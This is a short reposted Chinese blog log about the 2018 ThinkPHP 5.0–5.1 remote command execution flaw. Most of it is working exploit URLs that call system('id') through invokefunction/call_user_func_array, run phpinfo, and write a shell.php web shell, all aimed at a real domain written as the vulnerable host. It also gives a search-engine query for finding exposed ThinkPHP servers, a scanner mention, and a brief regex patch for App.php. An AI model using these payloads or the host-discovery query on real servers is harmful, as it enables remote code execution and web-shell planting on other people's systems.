A-A+

thinkphp 5.0-5.1 命令执行流水账记录

2018年12月11日 文章转载 暂无评论 阅读 3,580 views 次

0x00 没有开头

  • 环境部署安排一下

bt一键部署:配合泛解析域名,轻松部署环境
  • 漏洞复现 qq.comvuln host
http://qq.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[l][]=id

//5.1
http://qq.com/?s=index/\think\Request/input&filter=phpinfo&data=1
http://qq.com/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://qq.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  • IM应急通知

  • 平台查看

cp ./thinkphp/library/think/App.php ./thinkphp/library/think/App.php
//add after 553 line
    if (!preg_match('/^[A-Za-z\/](\w|\.)*$/', $controller)) {
        throw new HttpException(404, 'controller not exists:' . $controller);
    }

python ~/censys/shodanapi.py '"X-Powered-By: ThinkPHP"'

  • 扫描器启动(别人的图:不要抓我)

0x01 文章参考

 

原文链接:https://iaq.pw/archives/106

标签:

给我留言